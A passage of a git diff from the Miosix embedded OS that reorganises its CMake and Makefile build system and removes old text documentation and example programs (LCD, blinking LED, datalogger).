${CMAKE_CURRENT_SOURCE_DIR}/filesystem/console/console_device.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/mountpointfs/mountpointfs.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/devfs/devfs.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/fat32/fat32.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/fat32/ff.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/fat32/diskio.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/fat32/wtoupper.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/fat32/ccsbcs.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/littlefs/lfs_miosix.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/littlefs/lfs.c + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/littlefs/lfs_util.c + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/romfs/romfs.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kercalls/libc_integration.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kercalls/libstdcpp_integration.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/e20/e20.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/e20/unmember.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/util/util.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/util/unicode.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/util/version.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/util/crc16.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/util/lcd44780.cpp +) + +# Define the miosix library with kernel and architecture sources +add_library(miosix STATIC + ${MIOSIX_KERNEL_SRC} + ${MIOSIX_BOARD_SRC} + ${MIOSIX_CHIP_SRC} +) + +target_include_directories(miosix PUBLIC + ${MIOSIX_USER_CONFIG_PATH} + ${CMAKE_CURRENT_SOURCE_DIR}/config + ${MIOSIX_BOARD_SETTINGS_INC} + ${CMAKE_CURRENT_SOURCE_DIR}/config/board/${MIOSIX_BOARD} + ${CMAKE_CURRENT_SOURCE_DIR} + ${CMAKE_CURRENT_SOURCE_DIR}/arch + ${MIOSIX_CPU_INC} + ${MIOSIX_CHIP_INC} + ${MIOSIX_BOARD_INC} +) + +target_compile_options(miosix BEFORE PUBLIC + -qkernelspace + -D_MIOSIX_BOARDNAME="${MIOSIX_BOARD}" + -D_DEFAULT_SOURCE=1 + $<$:${MIOSIX_BOARD_ASM_FLAGS}> + $<$:${MIOSIX_BOARD_C_FLAGS}> + $<$:${MIOSIX_BOARD_CXX_FLAGS}> + $<$:${MIOSIX_CHIP_ASM_FLAGS}> + $<$:${MIOSIX_CHIP_C_FLAGS}> + $<$:${MIOSIX_CHIP_CXX_FLAGS}> + ${MIOSIX_CPU_FLAGS} + $<$:${MIOSIX_OPT_EXCEPT}> + ${LINKER_GC_FLAGS} + $<$:${MIOSIX_ASM_FLAGS}> + $<$:${MIOSIX_C_FLAGS}> + $<$:${MIOSIX_CXX_FLAGS}> +) + +# Configure program command as a property of the miosix library +set_property(TARGET miosix PROPERTY PROGRAM_CMDLINE ${PROGRAM_CMDLINE}) + +# Add COMPILING_MIOSIX define for private headers +target_compile_definitions(miosix PRIVATE $<$:COMPILING_MIOSIX>) + +# Configure linker file and options needed to link agains this library +set_property(TARGET miosix PROPERTY LINK_DEPENDS ${MIOSIX_LINKER_SCRIPT_PATH}) +target_link_options(miosix INTERFACE + -qkernelspace + ${MIOSIX_BOARD_EXE_LINKER_FLAGS} + ${MIOSIX_CPU_FLAGS} + ${MIOSIX_CHIP_EXE_LINKER_FLAGS} + -Wl,-T${MIOSIX_LINKER_SCRIPT_PATH} + -L${CMAKE_CURRENT_SOURCE_DIR} + ${MIOSIX_OPT_EXCEPT} + -nostdlib + ${LINKER_GC_EXE_LINKER_FLAGS} + ${MIOSIX_EXE_LINKER_FLAGS} +) + +# Run the kernel_global_objects.pl script on all kernel objects +add_custom_command( + TARGET miosix PRE_LINK + COMMAND perl ${CMAKE_CURRENT_SOURCE_DIR}/tools/kernel_global_objects.pl $ --prefix=${MIOSIX_PREFIX} + VERBATIM + COMMAND_EXPAND_LISTS +) + +if (CMAKE_CXX_COMPILER_ID STREQUAL "Clang") + # Set multilib paths for Clang + target_link_directories(miosix PUBLIC + ${MIOSIX_GCC_PATH}/arm-miosix-eabi/lib/${MIOSIX_MULTILIB_PATH} + ${MIOSIX_GCC_PATH}/lib/gcc/arm-miosix-eabi/15.2.0/${MIOSIX_MULTILIB_PATH} + ) +endif() diff --git a/miosix/Makefile b/miosix/Makefile index 4c6f669ca..d38c689e4 100644 --- a/miosix/Makefile +++ b/miosix/Makefile @@ -4,18 +4,19 @@ ## ## KPATH and CONFPATH are forwarded by the parent Makefile -MAKEFILE_VERSION := 1.15 +MAKEFILE_VERSION := 3.01 include $(KPATH)/Makefile.kcommon ## List of all Miosix OS source files that have no special requirements ## and that must be built for each architecture (both .c and .cpp) ## These files will end up in libmiosix.a SRC := \ -kernel/kernel.cpp \ +kernel/thread.cpp \ +kernel/lock.cpp \ kernel/sync.cpp \ kernel/error.cpp \ kernel/pthread.cpp \ -kernel/stage_2_boot.cpp \ +kernel/boot.cpp \ kernel/elf_program.cpp \ kernel/process.cpp \ kernel/process_pool.cpp \ @@ -42,8 +43,8 @@ filesystem/littlefs/lfs_miosix.cpp \ filesystem/littlefs/lfs.c \ filesystem/littlefs/lfs_util.c \ filesystem/romfs/romfs.cpp \ -stdlib_integration/libc_integration.cpp \ -stdlib_integration/libstdcpp_integration.cpp \ +kercalls/libc_integration.cpp \ +kercalls/libstdcpp_integration.cpp \ e20/e20.cpp \ e20/unmember.cpp \ util/util.cpp \ @@ -55,14 +56,14 @@ util/lcd44780.cpp ## Add the architecture dependand sources to the list of files to build. ## ARCH_SRC will contain different source files depending on which ## architecture/board is selected in config/Makefile.inc -SRC += $(ARCH_SRC) +SRC += $(BOARD_SRC) $(CHIP_SRC) CFLAGS += -DCOMPILING_MIOSIX CXXFLAGS += -DCOMPILING_MIOSIX all: $(OBJ) $(ECHO) "[PERL] Checking global objects" - $(Q)perl _tools/kernel_global_objects.pl $(OBJ) + $(Q)perl $(TOOLS_DIR)/kernel_global_objects.pl $(OBJ) $(ECHO) "[AR ] libmiosix.a" $(Q)$(AR) rcs libmiosix.a $(OBJ) diff --git a/miosix/Makefile.kcommon b/miosix/Makefile.kcommon index 33528afe2..721e6b6a6 100644 --- a/miosix/Makefile.kcommon +++ b/miosix/Makefile.kcommon @@ -12,66 +12,84 @@ ifeq ($(CONFPATH),) $(error Error) endif -include $(CONFPATH)/config/Makefile.inc +include $(KPATH)/arch/Makefile.inc ## Includes the miosix base directory for C/C++ ## Always include CONFPATH first, as it overrides the config file location -AFLAGS ?= $(AFLAGS_BASE) -CFLAGS ?= $(CFLAGS_BASE) -I$(CONFPATH) -I$(CONFPATH)/config/$(BOARD_INC) \ - -I. -I$(KPATH) -I$(KPATH)/arch/common -I$(KPATH)/$(ARCH_INC) \ - -I$(KPATH)/$(BOARD_INC) $(INCLUDE_DIRS) -MMD -MP -CXXFLAGS ?= $(CXXFLAGS_BASE) -I$(CONFPATH) -I$(CONFPATH)/config/$(BOARD_INC) \ - -I. -I$(KPATH) -I$(KPATH)/arch/common -I$(KPATH)/$(ARCH_INC) \ - -I$(KPATH)/$(BOARD_INC) $(INCLUDE_DIRS) -MMD -MP -LFLAGS ?= $(LFLAGS_BASE) +AFLAGS = -qkernelspace \ + $(BOARD_AFLAGS) $(CPU_FLAGS) $(CHIP_AFLAGS) $(AFLAGS_BASE) -c +CFLAGS = -qkernelspace -D_MIOSIX_BOARDNAME=\"$(OPT_BOARD)\" \ + -D_DEFAULT_SOURCE=1 $(BOARD_CFLAGS) $(CHIP_CFLAGS) $(CPU_FLAGS) \ + $(OPT_OPTIMIZATION) $(CFLAGS_BASE) \ + -I$(CONFPATH)/config -I$(KPATH)/config \ + -I$(CONFPATH)/config/board/$(OPT_BOARD) \ + -I$(KPATH)/config/board/$(OPT_BOARD) -I$(KPATH) -I$(KPATH)/arch \ + -I$(KPATH)/$(CPU_INC) -I$(KPATH)/$(CHIP_INC) \ + -I$(KPATH)/$(BOARD_INC) $(INCLUDE_DIRS) \ + -MMD -MP -c +CXXFLAGS = -qkernelspace -D_MIOSIX_BOARDNAME=\"$(OPT_BOARD)\" \ + -D_DEFAULT_SOURCE=1 $(BOARD_CXXFLAGS) $(CHIP_CXXFLAGS) $(CPU_FLAGS)\ + $(OPT_OPTIMIZATION) $(OPT_EXCEPT) $(CXXFLAGS_BASE) \ + -I$(CONFPATH)/config -I$(KPATH)/config \ + -I$(CONFPATH)/config/board/$(OPT_BOARD) \ + -I$(KPATH)/config/board/$(OPT_BOARD) -I$(KPATH) -I$(KPATH)/arch \ + -I$(KPATH)/$(CPU_INC) -I$(KPATH)/$(CHIP_INC) \ + -I$(KPATH)/$(BOARD_INC) $(INCLUDE_DIRS) \ + -MMD -MP -c +LFLAGS = -qkernelspace $(BOARD_LFLAGS) $(CPU_FLAGS) $(CHIP_LFLAGS) \ + -Wl,-Map,main.map -Wl,-T$(KPATH)/$(BOARD_INC)/$(LINKER_SCRIPT) \ + $(OPT_EXCEPT) $(OPT_OPTIMIZATION) -nostdlib $(LFLAGS_BASE) STDLIBS := -lmiosix -lstdc++ -lc -lm -lgcc -latomic -LINK_LIBS ?= $(LIBS) -L$(KPATH) -Wl,--start-group $(STDLIBS) -Wl,--end-group -TOOLS_DIR := $(KPATH)/_tools +LINK_LIBS = $(LIBS) -L$(KPATH) -Wl,--start-group $(STDLIBS) -Wl,--end-group +TOOLS_DIR := $(KPATH)/tools + +#TODO: this should be in arch/Makefile.inc but $(TOOLS_DIR) isn't defined there +SZ := perl $(TOOLS_DIR)/miosix_size.pl --prefix=$(PREFIX) OBJ ?= $(addsuffix .o, $(basename $(SRC))) SUBDIRS := $(KPATH) -# Not adding libsyscalls to SUBDIRS because it has to be built before -LIBSYS := $(KPATH)/libsyscalls + +# Starting from Miosix 3, we compile the kernel with the -qkernelspace option +# that was not present in GCC patches before 15.2.0mp4.0, so when using an +# earlier compiler the user gets a compiler error even before the compiler +# version check in miosix_settings.h +# To fix this, we check the compiler version also here in the build system +ifneq ($(shell perl $(TOOLS_DIR)/compiler_check.pl $(CC)), 0) + $(info You are using a too old or unsupported compiler.) + $(info Get the latest one from https://miosix.org/wiki/index.php?title=Miosix_Toolchain) + $(error Error) +endif + +# Allow changing options in config/Makefile.inc from root makefile. +# Note: you cannot export like this any variable that is not a path! +export OPT_BOARD +export OPT_OPTIMIZATION +export OPT_EXCEPT +export PROC_OPT_EXCEPT +export CFLAGS_BASE +export CXXFLAGS_BASE .DEFAULT_GOAL := all -image: main $(TOOLS_DIR)/filesystems/buildromfs +image: main $(ECHO) "[FS ] romfs.bin" - $(Q)./$(TOOLS_DIR)/filesystems/buildromfs romfs.bin \ - --from-directory $(ROMFS_DIR) + $(Q)mx-buildromfs romfs.bin --from-directory $(ROMFS_DIR) $(ECHO) "[IMG ] image.bin" - $(Q)perl $(TOOLS_DIR)/filesystems/mkimage.pl image.bin main.bin romfs.bin + $(Q)perl $(TOOLS_DIR)/mkimage.pl image.bin main.bin romfs.bin -$(TOOLS_DIR)/filesystems/buildromfs: - $(ECHO) "[HOST] buildromfs" - $(Q)mkdir -p $(TOOLS_DIR)/filesystems/build - $(Q)cd $(TOOLS_DIR)/filesystems/build \ - && cmake --log-level=ERROR .. && $(MAKE) -s - -all-recursive: $(if $(POSTLD), $(LIBSYS)/libsyscalls.a) +all-recursive: $(foreach i,$(SUBDIRS),$(MAKE) -C $(i) \ KPATH=$(shell perl $(TOOLS_DIR)/relpath.pl $(i) $(KPATH)) \ CONFPATH=$(shell perl $(TOOLS_DIR)/relpath.pl $(i) $(CONFPATH)) \ - || exit 1;) - -$(LIBSYS)/libsyscalls.a: - $(Q)$(MAKE) -C $(LIBSYS) \ - KPATH=$(shell perl $(TOOLS_DIR)/relpath.pl $(LIBSYS) $(KPATH)) \ - CONFPATH=$(shell perl $(TOOLS_DIR)/relpath.pl $(LIBSYS) $(CONFPATH)) \ - || exit 1; + &&) exit 0 clean-recursive: $(foreach i,$(SUBDIRS),$(MAKE) -C $(i) \ KPATH=$(shell perl $(TOOLS_DIR)/relpath.pl $(i) $(KPATH)) \ CONFPATH=$(shell perl $(TOOLS_DIR)/relpath.pl $(i) $(CONFPATH)) \ - clean || exit 1;) - $(Q)$(MAKE) -C $(LIBSYS) \ - KPATH=$(shell perl $(TOOLS_DIR)/relpath.pl $(LIBSYS) $(KPATH)) \ - CONFPATH=$(shell perl $(TOOLS_DIR)/relpath.pl $(LIBSYS) $(CONFPATH)) \ - clean || exit 1; - $(Q)rm -f image.bin romfs.bin $(TOOLS_DIR)/filesystems/buildromfs - $(Q)rm -rf $(TOOLS_DIR)/filesystems/build + clean &&) exit 0 + $(Q)rm -f image.bin romfs.bin program: $(PROG) @@ -86,4 +104,8 @@ program: %.o: %.s $(ECHO) "[AS ] $<" - $(Q)$(AS) $(AFLAGS) $< -o $@ + $(Q)$(CC) $(AFLAGS) $< -o $@ + +%.o: %.S + $(ECHO) "[AS ] $<" + $(Q)$(CC) $(AFLAGS) $< -o $@ diff --git a/miosix/Makefile.pcommon b/miosix/Makefile.pcommon new file mode 100644 index 000000000..003e83ce6 --- /dev/null +++ b/miosix/Makefile.pcommon @@ -0,0 +1,47 @@ +## +## Common code for building Miosix processes +## + +## KPATH and CONFPATH should be forwarded by the parent Makefile +ifeq ($(KPATH),) + $(info Error: KPATH not specified) + $(error Error) +endif +ifeq ($(CONFPATH),) + $(info Error: CONFPATH not specified) + $(error Error) +endif + +include $(KPATH)/arch/Makefile.inc + +AFLAGS := $(CPU_FLAGS) $(PROC_AFLAGS_BASE) -c +CFLAGS := -D_DEFAULT_SOURCE=1 $(CPU_FLAGS) $(PROC_OPT_OPTIMIZATION) \ + $(PROC_OPT_EXCEPT) $(PROC_CFLAGS_BASE) $(INCLUDE_DIRS) \ + -MMD -MP -c +CXXFLAGS := -D_DEFAULT_SOURCE=1 $(CPU_FLAGS) $(PROC_OPT_OPTIMIZATION) \ + $(PROC_OPT_EXCEPT) $(PROC_CXXFLAGS_BASE) $(INCLUDE_DIRS) \ + -MMD -MP -c +LFLAGS := $(CPU_FLAGS) $(PROC_LFLAGS_BASE) +LINK_LIBS := $(LIBS) + +#TODO: this should be in arch/Makefile.inc but $(TOOLS_DIR) isn't defined there +TOOLS_DIR := $(KPATH)/tools +SZ := perl $(TOOLS_DIR)/miosix_size.pl --prefix=$(PREFIX) + +OBJ ?= $(addsuffix .o, $(basename $(SRC))) + +%.o : %.cpp + $(ECHO) "[CXX ] $<" + $(Q)$(CXX) $(CXXFLAGS) $< -o $@ + +%.o : %.c + $(ECHO) "[CC ] $<" + $(Q)$(CC) $(CFLAGS) $< -o $@ + +%.o: %.s + $(ECHO) "[AS ] $<" + $(Q)$(CC) $(AFLAGS) $< -o $@ + +%.o: %.S + $(ECHO) "[AS ] $<" + $(Q)$(CC) $(AFLAGS) $< -o $@ diff --git a/miosix/_doc/textdoc/Directories.txt b/miosix/_doc/textdoc/Directories.txt deleted file mode 100644 index 9231aa748..000000000 --- a/miosix/_doc/textdoc/Directories.txt +++ /dev/null @@ -1,65 +0,0 @@ -Miosix 2.00+ directory tree -=========================== -Directories marked with [x] contain code or configuration files that are used -to build the kernel while directories marked with [ ] contain other stuff -(documentation, examples). - -[x] //Root directory, contains the application code - | - +--[x] miosix //Contains all Miosix OS code - | - +--[ ] _doc //Kernel documentation (doxygen + pdf + txt) - | - +--[ ] _examples //Contains some example applications - | - +--[ ] _tools //Contains various tools used by Miosix - | | - | +--[ ] bootloaders //Contain custom bootloaders for some boards - | | - | +--[ ] compiler //Contains scripts used to build GCC with the - | | //patches required to compile the kernel - | | - | +--[ ] testsuite //Contains the kernel testsuite - | . - | . - | - +--[x] config //Contains arch-independent configuration files - | - +--[x] e20 //Contains the kernel's event driven API - | - +--[x] filesystem //Filesystem code - | - +--[x] interfaces //Contains interfaces between kernel and - | //architecture dependent code - | - +--[x] kernel //Contains the architecture independent kernel part - | | - | +--[x] schedulers //Contains the various schedulers - | | - | +--[x] priority - | | - | +--[x] control_based - | | - | +--[x] edf - | - +--[x] util //Contains utility code, architcture independent - | - +--[x] arch //Contains architecture dependent code - | - +--[x] common //Contains drivers that are usable across multiple arch - | - +--[x] arm7_lpc2000 //Name of folder is 'cpu model' + 'mcu family' - | | - | +--[x] common //Common code for this architecture - | | - | +--[x] lpc2138_miosix_board //Name is 'chip name'+'_'+'board name' - | | - | +--[x] interfaces-impl //Implmentation of miosix/interfaces - | | - | +--[x] drivers //Serial ports, board support package, etc. - | | - | +--[x] core //Boot and exception handling code - | - . - . Other target architectures - . diff --git a/miosix/_doc/textdoc/Error debug.txt b/miosix/_doc/textdoc/Error debug.txt deleted file mode 100644 index 85a05c063..000000000 --- a/miosix/_doc/textdoc/Error debug.txt +++ /dev/null @@ -1,21 +0,0 @@ -When the Miosix kernel encounters an ARM data abort, or undefined instruction -interrupt, it prints the address of the instructon that caused the error and -reboots the system. -This can be caused by a stack overflow, or dangling reference. -To convert this address into the name of the function that caused the error, and -the exact code line where the program stopped, use this command: - -arm-miosix-eabi-addr2line
-e main.elf -f | arm-miosix-eabi-c++filt - -Example: - -arm-miosix-eabi-addr2line 0x0000d494 -e main.elf -f | arm-miosix-eabi-c++filt -miosix::Timer::interval() const -miosix/kernel/sync.cpp:174 - -This says that the function is Timer::interval() in file sync.cpp and that the -program stopped at line 174 - -Please note that for this operation to be reliablle compiler optimization must -be turned off (using -O0 instead of -Os) at least for the file that caused the -error. diff --git a/miosix/_doc/textdoc/Todo.txt b/miosix/_doc/textdoc/Todo.txt deleted file mode 100644 index 000034838..000000000 --- a/miosix/_doc/textdoc/Todo.txt +++ /dev/null @@ -1,28 +0,0 @@ - -TODO: implement code to make atexit() stuff functional. Stubs are already in -syscalls.cpp - -TODO: EDF scheduler needs a way for a thread to set the priority (tht is, the -deadline) of another thread, necessary for non periodic tasks. - -TODO: add Thread::trySleep() - -TODO: evaluate if it is possible to make a strong separation between public and -private headers, and use pImpl in public headers and implementation classes -defined in private headers, as with the mxusb library. That would both get rid -of friends and finally make it clear what headers are usable by client code and -which one are private - -TODO: add ThreadInternals class to get rid of all the friends of Thread - -TODO: filesystem boot options -1) synchronous filesystem initialization: filesystem is initialized before -main() is called. -2) asynchronous filesystem initialization: filesystem is initialized in a -separate thread that is spawned and runs in parallel with main(). This -provides faster boot, but only if main() does not use immediately the -filesystem -3) lazy filesystem initialization: filesystem is initialized when user code -makes the first call to it. This implies the first call can take a long time. - -TODO: check hashtable in filesystem.cpp diff --git a/miosix/_doc/textdoc/gcc threadsafety.txt b/miosix/_doc/textdoc/gcc threadsafety.txt deleted file mode 100644 index de5433738..000000000 --- a/miosix/_doc/textdoc/gcc threadsafety.txt +++ /dev/null @@ -1,40 +0,0 @@ -Note: this is no longer a TODO, since essentially everything has been done as -of Miosix 1.58. Only kept for historic reasons. -============================================================================= - -Useful info - - libstdc++-v3/doc/html/manual/internals.html#internals.thread_safety - libstdc++-v3/doc/html/manual/ext_concurrency.htm - -Key areas to make libstdc++ threadsafe -- gcc/gthr.h is the root of all thread safety issues. Added gthr-miosix.h - FIXED - -- _Atomic_word, and its supporting operations need to be available in - libstdc++/config/cpu/ - FIXED - -- libstdc++/include/ext/concurrence.h declares __mutex, __recursive_mutex and - __cond used throughut the library, that should work with posix stuff but - pull in exceptions. Easy to fix with #undef __EXCEPTIONS in that file. - FIXED - -- libstdc++/include/ext/concurrence.h defines _Lock_policy which is then used - as a template parameter to specialize stuff for thread safety. Should be - automatically fixed given __GTHREADS is defined. Indeed, it is set to - _S_mutex meaning that each shared_ptr or weak_ptr will contain a mutex. - (This because of the lack of compare and swap atomic op). - FIXED - -- eh_globals.cc uses TLS. - FIXED - -- unwind-sjlj.cc uses TLS. - FIXED - -- Check the value of #define __glibcxx_base_allocator to see if it's the - new allocator, otherwise since the mt_allocator requires TLS which isn't - provided. grep -R "__glibcxx_base_allocator" . in the install dir shows - it's the new allocator. - FIXED diff --git a/miosix/_doc/textdoc/newlib threadsafety.txt b/miosix/_doc/textdoc/newlib threadsafety.txt deleted file mode 100644 index 903382140..000000000 --- a/miosix/_doc/textdoc/newlib threadsafety.txt +++ /dev/null @@ -1,18 +0,0 @@ -Note: this is no longer a TODO, since essentially everything has been done as -of Miosix 1.58. Only kept for historic reasons. -============================================================================= - -Thread safety issues: -This is a (probably incomplete) list of parts of newlib that require -locks or atomic ops for thread safety. - -- malloc, but newlib already provides __malloc_lock() and __malloc_unlock() - that take care of this issue. - FIXED - -- newlib/libc/stdlib/__atexit.c - FIXED - -- newlib stdio library, seems to require locks here and there for files. - It also looks there's a mutex in every FILE struct. - FIXED diff --git a/miosix/_doc/textdoc/stm32-bootloader.txt b/miosix/_doc/textdoc/stm32-bootloader.txt deleted file mode 100644 index 3ef8c6dd6..000000000 --- a/miosix/_doc/textdoc/stm32-bootloader.txt +++ /dev/null @@ -1,123 +0,0 @@ -Bootloader for stm3210e-eval ----------------------------- -This bootloader allows to load code to external RAM, for easy development -without wearing out the STM32's FLASH which is only rated 10000 write cycles. -Ofcourse, it is not suitable for release code, since at every reboot the loaded -code gets lost. Please also note that running code from external RAM will be -~10 times slower than internal FLASH, but for code development and debugging -it is fine. - -This bootloader contains code to forward interrupts @ 0x6800000 which is the -start of the external RAM. - - -Installation on PC ------------------- -You'll need gcc (and g++), CMake and the boost libraries installed. -Windows build was not tested but should work. Linux and Mac OSX were tested. - -run these commands with a shell opened in the -miosix/_tools/booltloaders/stm32/pc_loader/pc_loader -directory - -mkdir build -cd build -cmake .. -make -cp pc_loader .. - - -Installation on microcontroller -------------------------------- -Use your preferred method of loading code to the STM32, such as -serial bootloader or JTAG. Do not use the ST USB bootloader since it -reserves some space in the FLASH for the ST USB bootloader itself. -This Miosix bootloader is not PIC (position independent code) so loading -it at another address will fail. - - -Loading code using the bootloader in external RAM -------------------------------------------------- -1) Make sure Miosix is configured to run from the STM32'e external RAM: -in miosix/config/Makefile.inc options: - -OPT_BOARD := stm32f103ze_stm3210e-eval - -LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_512k+64k_all_in_xram.ld - -XRAM := -D__ENABLE_XRAM -D__CODE_IN_XRAM - -should be uncommented (no # at the start of the line) - -2) Build Miosix as usual with - -make - -3) Connect the USART1 of the STM32 board with a serial cable to the PC -the expected device name for the serial port is /dev/ttyUSB0, -if not modify the line - -PROGRAM_CMDLINE := miosix/_tools/bootloaders/pc_loader/pc_loader \ - /dev/ttyUSB0 main.bin - -in miosix/config/Makefile.inc - -4) then do a - -make program - -The bootloader should send data to the board, and run the binary. - - -Debugging code with Openocd in external RAM -------------------------------------------- -The bootloader should be loaded to the STM32's FLASH memeory to forward -interrupts @ 0x6800000, or Miosix will fail at the first interrupt. - -Then run openocd in a shell: - -sudo openocd -f miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/stm32f10x_eval.cfg - -and in another shell type: - -arm-eabi-gdb main.elf -target remote :3333 -monitor soft_reset_halt -load -c - -After typing c miosix will start running. You can set breakpoints with -"break" and see variables with "print". For a more in-depth tutorial see -a gdb guide. - - -Running code without bootloader, from internal FLASH ----------------------------------------------------- -This is essential for release builds, and for other STM32 based boards that -lack external RAM. By running the code from FLASH it will run at full -processor speed (~10 times faster than from internal RAM) and code will -not be erased by powercycling. - -To do so configure Miosix's linker script for internal FLASH: -In miosix/config/Makefile.inc - -select: - -OPT_BOARD := stm32f103ze_stm3210e-eval - -LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_512k+64k_rom.ld - -and comment out these two lines: - -# XRAM := -D__ENABLE_XRAM -# XRAM := -D__ENABLE_XRAM -D__CODE_IN_XRAM - -Then use your preferred method of loading code to the STM32, such as -serial bootloader or JTAG. Do not use the ST USB bootloader since it -reserves some space in the FLASH for the ST USB bootloader itself. -This Miosix kernel is not PIC (position independent code) so loading -it at another address will fail. - - - - diff --git a/miosix/_examples/atsam4l_lcd/main.cpp b/miosix/_examples/atsam4l_lcd/main.cpp deleted file mode 100644 index 0cf03b1f8..000000000 --- a/miosix/_examples/atsam4l_lcd/main.cpp +++ /dev/null @@ -1,32 +0,0 @@ - -#include -#include "miosix.h" -#include "drivers/lcd.h" - -using namespace std; -using namespace miosix; - -int main() -{ - start32kHzOscillator(); - - //Configure GPIO of LCD, PA8 to PA23 = 4 COM and 12 SEG - for(int i = 8; i <= 23; i++) - { - GpioPin pin(GPIOA_BASE,i); - pin.mode(Mode::ALTERNATE); - pin.alternateFunction('F'); - } - - initLcd(12); - -// enableBlink(); - for(int i = 0; ; i++) - { - int t = i; - beginUpdate(); - for(int j = 0; j < 6 ; j++, t /= 10) setDigit(j, digitTbl[t % 10]); - endUpdate(); - Thread::sleep(10); - } -} diff --git a/miosix/_examples/blinking_led/simple.cpp b/miosix/_examples/blinking_led/simple.cpp deleted file mode 100644 index 1988dfef5..000000000 --- a/miosix/_examples/blinking_led/simple.cpp +++ /dev/null @@ -1,24 +0,0 @@ -#include -#include -#include "miosix.h" - -using namespace std; -using namespace miosix; - -typedef Gpio led; - -int main() -{ - - led::mode(Mode::OUTPUT); - - for(;;) { - led::high(); - sleep(1); - led::low(); - sleep(1); - } - - return 0; - -} \ No newline at end of file diff --git a/miosix/_examples/datalogger/Makefile b/miosix/_examples/datalogger/Makefile deleted file mode 100644 index e246c61c6..000000000 --- a/miosix/_examples/datalogger/Makefile +++ /dev/null @@ -1,50 +0,0 @@ -## -## Makefile for Miosix embedded OS -## - -## Path to kernel/config directories (edited by init_project_out_of_git_repo.pl) -KPATH := miosix -CONFPATH := $(KPATH) -MAKEFILE_VERSION := 1.15 -include $(KPATH)/Makefile.kcommon - -## -## List here your source files (both .s, .c and .cpp) -## -SRC := main.cpp Logger.cpp tscpp/buffer.cpp - -## -## List here additional include directories (in the form -Iinclude_dir) -## -INCLUDE_DIRS := - -## -## List here additional static libraries with relative path -## -LIBS := - -## -## List here subdirectories which contains makefiles -## -SUBDIRS += - -## -## Attach a romfs filesystem image after the kernel -## -ROMFS_DIR := - -all: $(if $(ROMFS_DIR), image, main) - -main: $(OBJ) all-recursive - $(ECHO) "[LD ] main.elf" - $(Q)$(CXX) $(LFLAGS) -o main.elf $(OBJ) $(LINK_LIBS) - $(ECHO) "[CP ] main.hex" - $(Q)$(CP) -O ihex main.elf main.hex - $(ECHO) "[CP ] main.bin" - $(Q)$(CP) -O binary main.elf main.bin - $(Q)$(SZ) main.elf - -clean: clean-recursive - $(Q)rm -f $(OBJ) $(OBJ:.o=.d) main.elf main.hex main.bin main.map - --include $(OBJ:.o=.d) diff --git a/miosix/_examples/datalogger/Readme.txt b/miosix/_examples/datalogger/Readme.txt deleted file mode 100644 index 631a6a9dd..000000000 --- a/miosix/_examples/datalogger/Readme.txt +++ /dev/null @@ -1,30 +0,0 @@ -High performance logging for Miosix - -Some applications - possibly real-time - require to log data, and do so from -multiple threads. While a simple library that opens a file and writes to is -sufficient for simple applications, there are some problems: -- the Miosix filesystem uses typically an SD card as storage, and SD and other - FLASH based storage devices may pause to do wear leveling. SD cards, even good - quality class 10 ones, may pause for up to 1 second. -- the Miosix OS, contrary to Linux, does not do much buffering at the filesystem - layer. This is desirable, since when an OS runs on as little as a few tens of - KB of RAM, the last thing you want is an OS that uses an unquatifiable amount - of memory. - -This example code shows a high-performance logging class that -- has a nonblocking log() member function, which can be called concurrently from - multiple threads, to log a user-defined class or struct. - Tscpp (https://github.com/fedetft/tscpp) is used to serialize data. - Being nonblocking, it can be called also in real-time threads of your codebase - with confidence. -- buffers data to compensate for the delays of the storage medium - -To configure the logger for your application, to trade off buffer space vs write -data rate, you can edit Logger.h - - static const unsigned int filenameMaxRetry = 100; ///< Limit on new filename - static const unsigned int maxRecordSize = 128; ///< Limit on logged data - static const unsigned int numRecords = 128; ///< Size of record queues - static const unsigned int bufferSize = 4096;///< Size of each buffer - static const unsigned int numBuffers = 4; ///< Number of buffers - static constexpr bool logStatsEnabled = true;///< Log logger stats? diff --git a/miosix/_examples/datalogger/main.cpp b/miosix/_examples/datalogger/main.cpp deleted file mode 100644 index a6c0c9575..000000000 --- a/miosix/_examples/datalogger/main.cpp +++ /dev/null @@ -1,80 +0,0 @@ - -#include -#include -#include -#include -#include "Logger.h" -#include "ExampleData.h" - -using namespace std; -using namespace std::chrono; -using namespace miosix; - -volatile bool stop=false; - -void loggerDemo(void*) -{ - /* - * Logger is configured as: - * maxRecordSize = 128 - * numRecords = 128 - * bufferSize = 4096 - * numBuffers = 4 - * - * Serialized ExampleData is 30 bytes - * There are 128 entries in the record queue, and (4-1)=3 4096 buffers for - * buffering (the fourth buffer is the one being written). - * Thus, the buffering system can hold 4096*3/30+128=537 ExampleData before - * filling. Considering the rule of thumb that a high quality SD card may - * block for up to 1s, the maximum data rate is 537Hz. - * - * An estimate of the memory occupied by the logger is: - * buffers 4*(4096+4)+128*(128+4)=33296 - * thread stacks 1536+1536+2048=5120 - * so a total of 38KB. The actual memory occupied will be a bit larger - * due to unaccounted variables and overheads. - * - * Note: although this demo is simple, the logger allows to: - * - log data from multiple threads while being nonblocking - * - log different classes/structs in any order, provided their serialized - * size is less than maxRecordSize and that they meet the requirements - * to be serialized with tscpp (github.com/fedetft/tscpp) - */ - auto& logger=Logger::instance(); - logger.start(); - - int a=0,b=0; - auto period=milliseconds(2); //2ms, 500Hz - for(auto t=system_clock::now();;) - { - if(stop) break; - t+=period; - auto now=system_clock::now(); - 